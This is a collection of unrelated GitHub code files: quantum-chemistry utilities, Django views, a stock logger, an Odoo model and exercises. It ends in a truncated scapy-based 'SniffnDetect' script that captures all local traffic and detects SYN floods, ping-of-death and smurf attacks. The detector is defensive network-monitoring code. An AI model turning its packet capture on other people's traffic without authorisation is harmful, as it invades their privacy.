hopping[i][0][idx]=='X' ]\n if len(pos) != 2:\n raise Exception('Excitation not conserved')\n for j in range(2):\n group[i].append(number[pos[j]][0])\n coeff[i].append(nco[pos[j]][0])\n number[pos[j]] = 'I'*len(number[0])\n nco[pos[j]] = 0 \n group[i].append(hopping[i][0])\n group[i].append(hopping[i][1])\n coeff[i].append(hco[i][0])\n coeff[i].append(hco[i][1])\n group.append([])\n coeff.append([])\n for k in range(len(number)):\n if number[k][0] != 'I'*len(number[0]):\n group[-1].append(number[k][0])\n coeff[-1].append(nco[k][0])\n return group, coeff\n\n# !/usr/bin/env python3\n# Copyright (c) 2022 Institute for Quantum Computing, Baidu Inc. All Rights Reserved.\n#\n# Licensed under the Apache License, Version 2.0 (the \"License\");\n# you may not use this file except in compliance with the License.\n# You may obtain a copy of the License at\n#\n# http://www.apache.org/licenses/LICENSE-2.0\n#\n# Unless required by applicable law or agreed to in writing, software\n# distributed under the License is distributed on an \"AS IS\" BASIS,\n# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n# See the License for the specific language governing permissions and\n# limitations under the License.\n\ndef orb2spinorb(\n num_modes: int,\n single_ex_amps: Optional[np.ndarray] = None,\n double_ex_amps: Optional[np.ndarray] = None\n) -> Tuple[np.ndarray]:\n r\"\"\"\n Transform molecular orbital integral into spin orbital integral, assume\n the quantum system is spin restricted.\n\n Args:\n num_modes: Number of molecular orbitals.\n single_ex_amps: One electron integral.\n double_ex_amps: Two electron integral.\n \n Return:\n The molecular integral in spin orbital form.\n \"\"\"\n if isinstance(single_ex_amps, np.ndarray):\n assert single_ex_amps.shape == (num_modes, num_modes)\n single_ex_amps_so = np.zeros((2*num_modes, 2*num_modes))\n for p in range(num_modes):\n single_ex_amps_so[2*p, 2*p] = single_ex_amps[p, p]\n single_ex_amps_so[2*p+1, 2*p+1] = single_ex_amps[p, p]\n for q in range(p+1, num_modes):\n single_ex_amps_so[2*p, 2*q] = single_ex_amps[p, q]\n single_ex_amps_so[2*p+1, 2*q+1] = single_ex_amps[p, q]\n\n single_ex_amps_so[2*q, 2*p] = single_ex_amps[p, q]\n single_ex_amps_so[2*q+1, 2*p+1] = single_ex_amps[p, q]\n if isinstance(double_ex_amps, np.ndarray):\n assert double_ex_amps.shape == (num_modes, num_modes, num_modes, num_modes)\n double_ex_amps_so = np.zeros((2*num_modes, 2*num_modes, 2*num_modes, 2*num_modes))\n for p, r, s, q in product(range(num_modes), repeat=4):\n double_ex_amps_so[2*p, 2*r, 2*s, 2*q] = double_ex_amps[p, r, s, q]\n double_ex_amps_so[2*p+1, 2*r, 2*s, 2*q+1] = double_ex_amps[p, r, s, q]\n double_ex_amps_so[2*p, 2*r+1, 2*s+1, 2*q] = double_ex_amps[p, r, s, q]\n double_ex_amps_so[2*p+1, 2*r+1, 2*s+1, 2*q+1] = double_ex_amps[p, r, s, q]\n \n if isinstance(single_ex_amps, np.ndarray) and isinstance(double_ex_amps, np.ndarray):\n return single_ex_amps_so, double_ex_amps_so\n elif isinstance(single_ex_amps, np.ndarray):\n return single_ex_amps_so\n elif isinstance(double_ex_amps, np.ndarray):\n return double_ex_amps_so\n else:\n raise ValueError(\"One of the `single_ex_amps` and `double_ex_amps` should be an np.ndarray.\")\n \ndef get_molecular_hamiltonian(hpq, vpqrs, driver):\n r\"\"\"returns the molecular hamiltonian for the given molecule.\n \"\"\"\n constant = driver.energy_nuc\n\n hcore_so, eri_so = orb2spinorb(driver.num_modes, hpq, vpqrs)\n\n # set the values in the array that are lower than 1e-16 to zero.\n eps = np.finfo(hpq.dtype).eps\n hcore_so[abs(hcore_so) < eps] = 0.0\n eri_so[abs(eri_so) < eps] = 0.0\n\n h = InteractionOperator(constant, hcore_so, 0.5*eri_so)\n return h\n\n","repo_name":"AprilSweettooth/Hamiltonian-Decomposition","sub_path":"utils/func.py","file_name":"func.py","file_ext":"py","file_size_in_byte":9814,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"28"} +{"seq_id":"16814905569","text":"import numpy as np\n\nimport aimsprop as ai\n\n# => Parse/Align/Weight/Clean <= #\n\n# Parse a series of FMS90 trajectories that Hayley has run for Stilbene\nICs = list(range(1, 16 + 1))\ntrajs = [\n ai.parse_fms90(\"/home/hweir/stilbene/5-aims/s0_extension/aims_%04d/job1\" % x)\n for x in ICs\n]\n# Merge the trajectories into one super-big Bundle with uniform weights\ntraj = ai.Bundle.merge(trajs, ws=[1.0 / len(trajs)] * len(trajs), labels=ICs)\n# Compute properties at ~1 fs intervals, removing nonsense due to adaptive timesteps\nts = np.arange(0.0, max(traj.ts), 40.0)\ntrajs = [traj2.interpolate_nearest(ts) for traj2 in trajs]\ntraj = traj.interpolate_nearest(ts)\n\n# => Population Plot <= #\n\n# If you want the detailed population curves (corresponding to traj.ts), e.g., for decay constant fitting:\n# populations = ai.compute_population(traj)\n# If you just want a plot of the populations\nplt = ai.plot_population(\n \"P.pdf\",\n traj,\n trajs,\n time_units=\"fs\",\n state_colors=[\"r\", \"b\"],\n)\n","repo_name":"mtzgroup/aimsprop","sub_path":"examples/pop-1/example.py","file_name":"example.py","file_ext":"py","file_size_in_byte":997,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"28"} +{"seq_id":"70387523246","text":"'''\n某地区最近几年自行车的销售量资料如下,试用指数曲线方程预测下一年的销售量。\nhttps://baike.baidu.com/item/%E6%8C%87%E6%95%B0%E6%9B%B2%E7%BA%BF%E9%A2%84%E6%B5%8B%E6%B3%95/3155764?fr=aladdin\n'''\n\nimport matplotlib.pyplot as plt\nimport numpy as np\nimport math\n\n\n\ndef yuce5(data,time):\n u_t = []\n log_Yt = []\n log_Yt2 = []\n tY = []\n num = len(data)\n t = []\n t2 = []\n for i in range(1,num):\n u_t.append((data[i]-data[i-1])/data[i])\n for i in range(num):\n log_Yt.append(round(math.log(data[i]),4))\n log_Yt2.append(round(math.log(data[i])**2,4))\n t.append(i+1)\n t2.append((i+1)*(i+1))\n tY.append(t[i]*log_Yt[i])\n t_sum = sum(t)\n t2_sum = sum(t2)\n Y_sum = sum(log_Yt)\n Y2_sum = sum(log_Yt2)\n tY_sum = sum(tY)\n t_mean = t_sum/num\n Y_mean = Y_sum/num\n b = (tY_sum-num*t_mean*Y_mean)/(t2_sum-num*(t_mean**2))\n A = Y_mean-b*t_mean\n a = math.e**A\n return a*((math.e)**(b*time))\n\n\nx = [8.7,10.6,13.3,16.5,20.6,26]\n# plt.plot(x)\n# plt.show()\nre = yuce5(x,7)\nprint(re)","repo_name":"fclefang/ml_practice","sub_path":"qianwen_bu/yuce_5.py","file_name":"yuce_5.py","file_ext":"py","file_size_in_byte":1093,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"2879295589","text":"# #####\n# This file is part of the RobotDesigner developed in the Neurorobotics\n# subproject of the Human Brain Project (https://www.humanbrainproject.eu).\n#\n# The Human Brain Project is a European Commission funded project\n# in the frame of the Horizon2020 FET Flagship plan.\n# (http://ec.europa.eu/programmes/horizon2020/en/h2020-section/fet-flagships)\n#\n# The Robot Designer has initially been forked from the RobotEditor\n# (https://gitlab.com/h2t/roboteditor) developed at the Karlsruhe Institute\n# of Technology in the High Performance Humanoid Technologies Laboratory (H2T).\n# #####\n\n# ##### BEGIN GPL LICENSE BLOCK #####\n#\n# This program is free software; you can redistribute it and/or\n# modify it under the terms of the GNU General Public License\n# as published by the Free Software Foundation; either version 2\n# of the License, or (at your option) any later version.\n#\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# GNU General Public License for more details.\n#\n# You should have received a copy of the GNU General Public License\n# along with this program; if not, write to the Free Software Foundation,\n# Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301, USA.\n#\n# ##### END GPL LICENSE BLOCK #####\n\n# System imports\nimport os\nimport sys\nimport unittest\nimport pyxb\nimport osim_dom\n\n\nclass XmlBuildLearningTest(unittest.TestCase):\n def runTest(self):\n # generate bindings by $pyxbgen-py3 -u osim_muscles.xsd -m osim_dom\n # Note: Use the pyxbgen that comes with the blender install. That is\n # because even minor version mismatches of the generated xsd bindings\n # with the included pyxb version will cause errors.\n doc = osim_dom.OpenSimDocument()\n doc.Model = pyxb.BIND(\n ForceSet=pyxb.BIND(\n objects=pyxb.BIND(\n Millard2012EquilibriumMuscle=[], Millard2012AccelerationMuscle=[]\n )\n )\n )\n\n m = osim_dom.Millard2012EquilibriumMuscle(\n GeometryPath=osim_dom.GeometryPath(\n PathPointSet=pyxb.BIND(objects=pyxb.BIND(PathPoint=[]))\n ),\n max_isometric_force=1000.0,\n optimal_fiber_length=0.01,\n tendon_slack_length=0.01,\n )\n\n pps = m.GeometryPath.PathPointSet.objects.PathPoint\n pps += [\n osim_dom.PathPoint(\n location=osim_dom.vector3(\"0. 1. 2.\"), body=\"body1\", name=\"pp_body1\"\n ),\n osim_dom.PathPoint(\n location=osim_dom.vector3(\"3. 4. 5.\"), body=\"body2\", name=\"pp_body2\"\n ),\n ]\n\n doc.Model.ForceSet.objects.Millard2012EquilibriumMuscle.append(m)\n doc.Version = \"??\"\n xmlstr = doc.toDOM().toprettyxml()\n\n # sys.stderr.write(\"Generated XML:\\n\"+xmlstr)\n newdoc = osim_dom.CreateFromDocument(xmlstr)\n self.assertIsNotNone(newdoc)\n self.assertTrue(newdoc.Model.ForceSet.objects.Millard2012EquilibriumMuscle)\n\n\nclass SchemaSanityCheck(unittest.TestCase):\n def runTest(self):\n import subprocess\n\n schemafile = os.path.join(\n os.path.dirname(__file__), \"..\", \"..\", \"resources\", \"osim_muscles.xsd\"\n )\n samplexml = os.path.join(\n os.path.dirname(__file__), \"test_sample_muscle_file.osim\"\n )\n out = subprocess.check_output([\"xmllint\", \"-schema\", schemafile, samplexml])\n\n\nclass SchemaSanityCheckBindings(unittest.TestCase):\n def runTest(self):\n with open(\n os.path.join(os.path.dirname(__file__), \"test_sample_muscle_file.osim\"), \"r\"\n ) as f:\n sample_xml = f.read()\n osim_dom.CreateFromDocument(sample_xml)\n\n\nif __name__ == \"__main__\":\n unittest.main()\n","repo_name":"HBPNeurorobotics/BlenderRobotDesigner","sub_path":"robot_designer_plugin/export/osim/osim_test.py","file_name":"osim_test.py","file_ext":"py","file_size_in_byte":3900,"program_lang":"python","lang":"en","doc_type":"code","stars":64,"dataset":"github-code","pt":"2"} +{"seq_id":"71041044208","text":"from django.shortcuts import render, redirect, HttpResponse\r\nfrom django.contrib import messages\r\nfrom .models import *\r\n# Create your views here.\r\ndef index(request):\r\n return render(request, 'LogRegApp/index.html')\r\n\r\ndef processingReg(request):\r\n response = User.objects.reg_validator(request.POST)\r\n if response['status'] == False:\r\n for error in response['errors']:\r\n messages.error(request, error)\r\n return redirect('/', messages)\r\n else:\r\n request.session['userid'] = response['userid']\r\n request.session['name'] = User.objects.get(id=response['userid']).name\r\n return redirect('/success')\r\n\r\n\r\ndef processingLog(request):\r\n response = User.objects.log_validator(request.POST)\r\n if response['status'] == False:\r\n for error in response['errors']:\r\n messages.error(request, error)\r\n return redirect('/', messages)\r\n else:\r\n request.session['userid'] = response['userid']\r\n request.session['name'] = User.objects.get(id=response['userid']).name\r\n return redirect('/success')\r\n\r\n\r\ndef success(request):\r\n if 'userid' in request.session:\r\n return redirect('/dashboard')\r\n else:\r\n return redirect('/')\r\n \r\n\r\n\r\ndef logout(request):\r\n request.session.flush()\r\n return redirect('/')","repo_name":"Jaypatel07/Pet-Spa","sub_path":"PetSpa/petSPAw_proj/apps/LogRegApp/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1321,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"31536153502","text":"# Create a new list of objects\n# in this case, car parts\n\ncarParts = [\"CV Joint\", \"spark plug\", \"timing belt\",\n \"piston\", \"brake pad\", \"ball joint\"]\nprint(carParts)\n\n# You can insert an object into a list using the insert function. The insert\n# function takes two arguments. The index of the position you'd like to\n# insert at and the object you'd like to insert.\n\ncarParts.insert(2, \"air filter\")\n\nprint(carParts)\n","repo_name":"nishantafe/CIII-Programming","sub_path":"Week 09/w9_prac6.py","file_name":"w9_prac6.py","file_ext":"py","file_size_in_byte":426,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"2"} +{"seq_id":"23905726317","text":"import re\nfrom lifeflow.markdown import markdown\n\ndef smart_str(s, encoding='utf-8', errors='strict'):\n \"\"\"\n Returns a bytestring version of 's', encoded as specified in 'encoding'.\n Borrowed and simplified for this purpose from `django.utils.encoding`.\n \"\"\"\n if not isinstance(s, basestring):\n try:\n return str(s)\n except UnicodeEncodeError:\n return unicode(s).encode(encoding, errors)\n elif isinstance(s, unicode):\n return s.encode(encoding, errors)\n elif s and encoding != 'utf-8':\n return s.decode('utf-8', errors).encode(encoding, errors)\n else:\n return s\n\nclass ForeignFormatsExtension (markdown.Extension):\n\n def __name__(self):\n return u\"foreign formats\"\n\n def extendMarkdown(self, md, md_global):\n preprocessor = ForeignFormatsBlockPreprocessor()\n preprocessor.md = md\n md.textPreprocessors.insert(0, preprocessor)\n\n\nFORMATTERS = {}\n\n# Attempt to import textile formatter.\ntry:\n # http://dealmeida.net/projects/textile/\n import textile\n def func(x):\n return textile.textile(smart_str(x), encoding='utf-8', output='utf-8')\n\n FORMATTERS[\"textile\"] = func\nexcept ImportError:\n pass\n\n# Attempt to import docutiles (ReST) formatter.\ntry:\n # http://docutils.sf.net/\n from docutils.core import publish_parts\n def func(x):\n return publish_parts(source=x,writer_name=\"html4css1\")[\"fragment\"]\n\n FORMATTERS[\"rest\"] = func\nexcept ImportError:\n pass\n\n\nFOREIGN_FORMAT_BLOCK_REGEX = re.compile(r\"^~~~(?P\\w*)\\r?\\n(?P.*?)^~~~$\", re.DOTALL|re.MULTILINE)\n\n\nclass ForeignFormatsBlockPreprocessor :\n def run (self, text):\n while 1:\n m = FOREIGN_FORMAT_BLOCK_REGEX.search(text)\n if not m: break;\n format = m.group('format').lower()\n txt = m.group('txt')\n if FORMATTERS.has_key(format):\n func = FORMATTERS[format]\n txt = func(txt)\n placeholder = self.md.htmlStash.store(txt, safe=True)\n text = '%s\\n%s\\n%s'% (text[:m.start()], placeholder, text[m.end():])\n return text\n\n\ndef makeExtension(configs=None) :\n return ForeignFormatsExtension(configs=configs)\n\n","repo_name":"lethain/lifeflow","sub_path":"markdown/mdx_foreign_formats.py","file_name":"mdx_foreign_formats.py","file_ext":"py","file_size_in_byte":2241,"program_lang":"python","lang":"en","doc_type":"code","stars":43,"dataset":"github-code","pt":"2"} +{"seq_id":"14415707603","text":"# Faça um programa que pergunte o preço de três produtos e informe qual produto você deve comprar, sabendo que a decisão é sempre pelo mais barato.\r\n\r\nprint('Inicio do Programa')\r\nprint()\r\n\r\nvalid_numero = False\r\n\r\nwhile valid_numero == False:\r\n print()\r\n n1 = input('Qual o valor da mochila1?')\r\n print()\r\n try:\r\n n1 = float(n1)\r\n valid_numero = True\r\n except:\r\n print('==='*15)\r\n print('Erro na entrada de dados, por favor digite somente numeros.')\r\n print('==='*15)\r\n\r\nvalid_numero = False\r\n\r\nwhile valid_numero == False:\r\n print()\r\n n2 = (input('Qual o valor da mochila2?'))\r\n print()\r\n try:\r\n n2 = float(n2)\r\n valid_numero = True\r\n except:\r\n print('===' * 15)\r\n print('Erro na entrada de dados, por favor digite somente numeros.')\r\n print('===' * 15)\r\n\r\nvalid_numero = False\r\n\r\nwhile valid_numero == False:\r\n print()\r\n n3 = (input('Qual o valor da mochila3?'))\r\n print()\r\n try:\r\n n3 = float(n3)\r\n valid_numero = True\r\n except:\r\n print('===' * 15)\r\n print('Erro na entrada de dados, por favor digite somente numeros.')\r\n print('===' * 15)\r\n\r\nvalid_numero = False\r\n\r\nif n1 < n2 and n1 < n3:\r\n v = n1\r\n p = 'mochila1'\r\nelif n2 < n1 and n2 < n3:\r\n v = n2\r\n p = 'mochila2'\r\nelse:\r\n v = n3\r\n p = 'mochila3'\r\nprint('Por ser o mais barato, o produto escolhido foi {}, que custa {}R$'.format(p, v))\r\n\r\nprint()\r\ninput('Aperte enter para sair')","repo_name":"LeviMorningstar/Ex.-Estrutura-de-decisao","sub_path":"Ex. 8(OK).py","file_name":"Ex. 8(OK).py","file_ext":"py","file_size_in_byte":1512,"program_lang":"python","lang":"pt","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"4803670477","text":"from django.shortcuts import render, HttpResponse, get_object_or_404, redirect\nfrom . import models\nfrom django.contrib.auth.models import User\n\ndef suma(cislo):\n return (cislo * (cislo +1))/2\n\ndef ukoly_index(request):\n cislo = int(request.GET.get(\"cislo\",0))\n vysledek = suma(cislo)\n print(vysledek)\n return render(request, \"ukoly/ukoly-index.html\",context=dict(vysledek=vysledek))\n\ndef ukoly_login(request):\n users = User.objects.all()\n return render(request, \"ukoly/ukoly-login.html\",context=dict(users=users))\n\ndef ukoly_kontakty(request):\n return render(request, \"ukoly/ukoly-kontakty.html\")\n\ndef seznam_ukolu(request):\n def get_ids():\n seznam_id = []\n for key in request.POST:\n if key.startswith(\"ukol_id_\"):\n pk = key.split(\"ukol_id_\")[1]\n seznam_id.append(pk)\n return seznam_id\n if request.method == \"POST\":\n ids = get_ids()\n models.Ukol.objects.filter(id__in=ids).update(stav=True)\n models.Ukol.objects.exclude(id__in=ids).update(stav=False)\n return redirect(\"ukoly:seznam_ukolu\")\n\n\n jmeno = request.GET.get(\"jmeno\")\n if jmeno:\n ukoly = models.Ukol.objects.filter(jmeno_autora=jmeno)\n else:\n ukoly = models.Ukol.objects.all\n # return HttpResponse('

    Toto je seznam úkolů

    ')\n return render(request,'ukoly/seznam-ukolu.html', context=dict(ukoly=ukoly, jmeno=jmeno))\n\ndef detail_ukolu(request, index_ukolu):\n ukol = get_object_or_404(models.Ukol, id=index_ukolu)\n\n if request.method == \"POST\":\n nazev = request.POST[\"nazev\"]\n autor = request.POST[\"autor\"]\n stav = request.POST.get(\"stav\")\n ukol.nazev = nazev\n ukol.autor = autor\n ukol.stav = bool(stav)\n ukol.save()\n print(nazev,autor,stav)\n return redirect(ukol.get_absolute_url())\n return render(request,\"ukoly/detail-ukolu.html\", context=dict(ukol=ukol,index_ukolu=index_ukolu))","repo_name":"Zirk0n/_prvni_project","sub_path":"ukoly/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":1986,"program_lang":"python","lang":"cs","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"71550103726","text":"import argparse\nimport os\nimport shutil\nimport sys\n\nimport d1_common.iter.path\nimport d1_common.util\nimport d1_common.utils.ulog\n\n# Files and directories to delete\nJUNK_GLOB_DIR_LIST = [\n \"*egg-info/\",\n \".cache/\",\n \".eggs/\",\n \".pytest_cache/\",\n \"__pycache__/\",\n \"build/\",\n \"cover/\",\n \"dist/\",\n \"htmlcov/\",\n \"stores/object/\",\n]\n\nJUNK_GLOB_FILE_LIST = [\n \"*.bak\",\n \"*.log\",\n \"*.pyc\",\n \"*.tmp\",\n \"*~\",\n \".coverage\",\n \".coverage.*\",\n \"coverage.xml\",\n \"coverage_pycharm.xml\",\n \"pip_freeze_*.txt\",\n]\n\n\ndef main():\n parser = argparse.ArgumentParser(\n description=__doc__, formatter_class=argparse.RawDescriptionHelpFormatter\n )\n parser.add_argument(\"path\", nargs=\"+\", help=\"File or directory path\")\n parser.add_argument(\n \"--no-recursive\",\n dest=\"recursive\",\n action=\"store_false\",\n help=\"Search directories recursively\",\n )\n parser.add_argument(\n \"--ignore-invalid\", action=\"store_true\", help=\"Ignore invalid paths\"\n )\n parser.add_argument(\"--debug\", action=\"store_true\", help=\"Debug level logging\")\n parser.add_argument(\"--dry-run\", action=\"store_true\", help=\"Simulate only\")\n parser.add_argument(\n \"--yes\",\n dest=\"is_interactive\",\n action=\"store_false\",\n help=\"Delete without user prompts\",\n )\n\n args = parser.parse_args()\n d1_common.utils.ulog.setup(args.debug)\n\n itr = d1_common.iter.path.path_generator(\n path_list=args.path,\n include_glob_list=JUNK_GLOB_FILE_LIST,\n exclude_glob_list=JUNK_GLOB_DIR_LIST,\n recursive=args.recursive,\n ignore_invalid=args.ignore_invalid,\n default_excludes=False,\n return_entered_dir_paths=False,\n return_skipped_dir_paths=True,\n )\n\n for p in itr:\n print(p)\n\n if os.path.isdir(p):\n if args.is_interactive:\n if not confirm(\"Delete directory tree?\"):\n continue\n if not args.dry_run:\n shutil.rmtree(p)\n else:\n if args.is_interactive:\n if not confirm(\"Delete file?\"):\n continue\n if not args.dry_run:\n os.unlink(p)\n\n\ndef confirm(yes_no_question_str):\n while True:\n reply_str = input(\"{} Yes/No [Enter/n]: \".format(yes_no_question_str))\n if reply_str == \"\":\n return True\n if reply_str == \"n\":\n return False\n\n\nif __name__ == \"__main__\":\n sys.exit(main())\n","repo_name":"DataONEorg/d1_python","sub_path":"dev_tools/src/d1_dev/clean-tree.py","file_name":"clean-tree.py","file_ext":"py","file_size_in_byte":2523,"program_lang":"python","lang":"en","doc_type":"code","stars":14,"dataset":"github-code","pt":"2"} +{"seq_id":"23386338430","text":"# authour: Zachary Christian\n# date: 20200419\nimport stockRequest, config, json, csv\nfrom time import strftime\nimport os\nfrom os import path\n\n# I am going to have to call this function with a parameter\n# for the stock ticker as well as one for the config key\ndef retrieveStockData(ticker, key):\n stockJson = json.loads(stockRequest.getQuote(ticker,key).text)\n \n currTime = strftime('%H%M%S')\n currDate = strftime('%Y%m%d')\n openPrice = stockJson['open']\n currPrice = stockJson['iexRealtimePrice']\n\n if openPrice == None:\n openPrice = stockJson['previousClose']\n fromOpen = openPrice - currPrice\n\n dataArray= [openPrice, currPrice, fromOpen, currTime, currDate]\n print(dataArray)\n return dataArray\n\n# createFileForTicker makes a csv file with the column names\n# open, current price, data\ndef createFileForTicker(ticker):\n with open(str(ticker).upper() + str('.csv'), 'w', newline='') as file:\n csv.writer(file).writerow(['Open', 'Current Price','From Open', 'Time', 'Date'])\n file.close()\n\n# appendDataToFile appends the important data to the csv file\ndef appendDataToFile(ticker, stockData):\n with open(str(ticker) + str('.csv'), 'a', newline='') as file:\n worker = csv.writer(file)\n worker.writerow(stockData)\n file.close()\n\n# this is going to check for a file with the title of the stock ticker\n# for instance, the Apple inc. file would be, AAPL\n#\n# this function is going to have multiple parts\n# 1) to check if the file is created,\n#\n# 2) create the file if not existed:\n# a) need to make cell names for data:\n# open, current price, time of price\n#\n# 3) if the file is created, then append data to file\n#\ndef checkForStockFile(ticker, stockData):\n currDate = strftime('%Y%m%d')\n tickerFinal = str(ticker) + str(currDate)\n\n if path.exists(str(ticker) + str(\".csv\")):\n appendDataToFile(ticker, stockData)\n else:\n createFileForTicker(ticker)\n appendDataToFile(ticker, stockData)\n\n if path.exists(str(tickerFinal) + str('.csv')):\n appendDataToFile(tickerFinal, stockData)\n else:\n createFileForTicker(tickerFinal)\n appendDataToFile(tickerFinal, stockData)\n\n# This function checks for a dir that is the name of\n# the ticker we are tracking and if it is not created\n# it creates the dir then switches to its path\n# and then executes the checkForStockFile function\n# inside\n\ndef checkForStockDir(ticker):\n currPath = os.getcwd()\n tmp = str('/') + str(ticker)\n # this is the final path for the stock ticker file\n tickerPath = currPath + tmp\n\n if path.exists(str(ticker)):\n os.chdir(tickerPath)\n checkForStockFile(ticker, retrieveStockData(ticker, config.key))\n os.chdir(currPath)\n # going to add checkForStockFile here\n else:\n os.mkdir(tickerPath.upper())\n os.chdir(tickerPath)\n checkForStockFile(ticker, retrieveStockData(ticker, config.key))\n os.chdir(currPath)\n # going to add checkForStockFile here\n\n\n\n\n\n\n\n","repo_name":"zachar1a/stock-tracker","sub_path":"stockLog.py","file_name":"stockLog.py","file_ext":"py","file_size_in_byte":3037,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"23532529169","text":"from odoo import fields, models\n\n\nclass FinancialBudgetDetail(models.Model):\n _name = \"financial_budget.detail\"\n _description = \"Financial Budget Detail\"\n _inherit = [\n \"mixin.product_line_price\",\n ]\n\n budget_id = fields.Many2one(\n string=\"# Budget\",\n comodel_name=\"financial_budget.budget\",\n required=True,\n ondelete=\"cascade\",\n )\n period_id = fields.Many2one(\n string=\"Period\",\n comodel_name=\"date.range\",\n related=\"budget_id.period_id\",\n store=True,\n )\n date_start = fields.Date(\n string=\"Date Start\",\n related=\"budget_id.period_id.date_start\",\n store=True,\n )\n date_end = fields.Date(\n string=\"Date End\",\n related=\"budget_id.period_id.date_end\",\n store=True,\n )\n type_id = fields.Many2one(\n string=\"Type\",\n comodel_name=\"financial_budget.type\",\n related=\"budget_id.type_id\",\n store=False,\n )\n account_id = fields.Many2one(\n string=\"Account\",\n comodel_name=\"account.account\",\n required=True,\n )\n direction = fields.Selection(\n string=\"Direction\",\n selection=[\n (\"revenue\", \"Revenue\"),\n (\"cost\", \"Cost\"),\n ],\n required=True,\n default=\"revenue\",\n )\n","repo_name":"open-synergy/ssi-budget","sub_path":"ssi_financial_budget/models/financial_budget_detail.py","file_name":"financial_budget_detail.py","file_ext":"py","file_size_in_byte":1315,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"2"} +{"seq_id":"10766725372","text":"import os\nimport sys\nimport ctypes\nimport threading\nfrom scapy.all import *\nfrom queue import Queue\n\nbanner = '''-----------------------\nSniffnDetect v.1.1\n-----------------------\n'''\n\n\nclass SniffnDetect():\n def __init__(self):\n self.INTERFACE = conf.iface\n self.MY_IP = [x[4] for x in conf.route.routes if x[2]\n != '0.0.0.0' and x[3] == self.INTERFACE][0]\n self.MY_MAC = get_if_hwaddr(self.INTERFACE)\n self.WEBSOCKET = None\n self.PACKETS_QUEUE = Queue()\n self.MAC_TABLE = {}\n self.RECENT_ACTIVITIES = []\n self.FILTERED_ACTIVITIES = {\n 'TCP-SYN': {'flag': False, 'activities': [], 'attacker-mac': []},\n 'TCP-SYNACK': {'flag': False, 'activities': [], 'attacker-mac': []},\n 'ICMP-POD': {'flag': False, 'activities': [], 'attacker-mac': []},\n 'ICMP-SMURF': {'flag': False, 'activities': [], 'attacker-mac': []},\n }\n self.flag = False\n\n def sniffer_threader(self):\n while self.flag:\n pkt = sniff(count=1)\n with threading.Lock():\n self.PACKETS_QUEUE.put(pkt[0])\n\n def analyze_threader(self):\n while self.flag:\n pkt = self.PACKETS_QUEUE.get()\n self.analyze_packet(pkt)\n self.PACKETS_QUEUE.task_done()\n\n def check_avg_time(self, activities):\n time = 0\n c = -1\n while c > -31:\n time += activities[c][0] - activities[c-1][0]\n c -= 1\n time /= len(activities)\n return (time < 2 and self.RECENT_ACTIVITIES[-1][0] - activities[-1][0] < 10)\n\n def find_attackers(self, category):\n data = []\n for mac in self.FILTERED_ACTIVITIES[category]['attacker-mac']:\n data.append(\n f\"({self.MAC_TABLE[mac]}, {mac})\" if mac in self.MAC_TABLE else f\"(Unknown IP, {mac})\")\n return category + ' Attackers :
    ' + \"
    \".join(data) + '

    '\n\n def set_flags(self):\n for category in self.FILTERED_ACTIVITIES:\n if len(self.FILTERED_ACTIVITIES[category]['activities']) > 20:\n self.FILTERED_ACTIVITIES[category]['flag'] = self.check_avg_time(\n self.FILTERED_ACTIVITIES[category]['activities'])\n if self.FILTERED_ACTIVITIES[category]['flag']:\n self.FILTERED_ACTIVITIES[category]['attacker-mac'] = list(\n set([i[3] for i in self.FILTERED_ACTIVITIES[category]['activities']]))\n\n def analyze_packet(self, pkt):\n src_ip, dst_ip, src_port, dst_port, tcp_flags, icmp_type = None, None, None, None, None, None\n protocol = []\n\n if len(self.RECENT_ACTIVITIES) > 15:\n self.RECENT_ACTIVITIES = self.RECENT_ACTIVITIES[-15:]\n\n for category in self.FILTERED_ACTIVITIES:\n if len(self.FILTERED_ACTIVITIES[category]['activities']) > 30:\n self.FILTERED_ACTIVITIES[category]['activities'] = self.FILTERED_ACTIVITIES[category]['activities'][-30:]\n\n self.set_flags()\n\n src_mac = pkt[Ether].src if Ether in pkt else None\n dst_mac = pkt[Ether].dst if Ether in pkt else None\n\n if IP in pkt:\n src_ip = pkt[IP].src\n dst_ip = pkt[IP].dst\n elif IPv6 in pkt:\n src_ip = pkt[IPv6].src\n dst_ip = pkt[IPv6].dst\n\n if TCP in pkt:\n protocol.append(\"TCP\")\n src_port = pkt[TCP].sport\n dst_port = pkt[TCP].dport\n tcp_flags = pkt[TCP].flags.flagrepr()\n if UDP in pkt:\n protocol.append(\"UDP\")\n src_port = pkt[UDP].sport\n dst_port = pkt[UDP].dport\n if ICMP in pkt:\n protocol.append(\"ICMP\")\n # 8 for echo-request and 0 for echo-reply\n icmp_type = pkt[ICMP].type\n\n if ARP in pkt and pkt[ARP].op in (1, 2):\n protocol.append(\"ARP\")\n if pkt[ARP].hwsrc in self.MAC_TABLE.keys() and self.MAC_TABLE[pkt[ARP].hwsrc] != pkt[ARP].psrc:\n self.MAC_TABLE[pkt[ARP].hwsrc] = pkt[ARP].psrc\n if pkt[ARP].hwsrc not in self.MAC_TABLE.keys():\n self.MAC_TABLE[pkt[ARP].hwsrc] = pkt[ARP].psrc\n\n load_len = len(pkt[Raw].load) if Raw in pkt else None\n\n attack_type = None\n\n if ICMP in pkt:\n if src_ip == self.MY_IP and src_mac != self.MY_MAC:\n self.FILTERED_ACTIVITIES['ICMP-SMURF']['activities'].append([\n pkt.time, ])\n attack_type = 'ICMP-SMURF PACKET'\n\n if load_len and load_len > 1024:\n self.FILTERED_ACTIVITIES['ICMP-POD']['activities'].append([\n pkt.time, 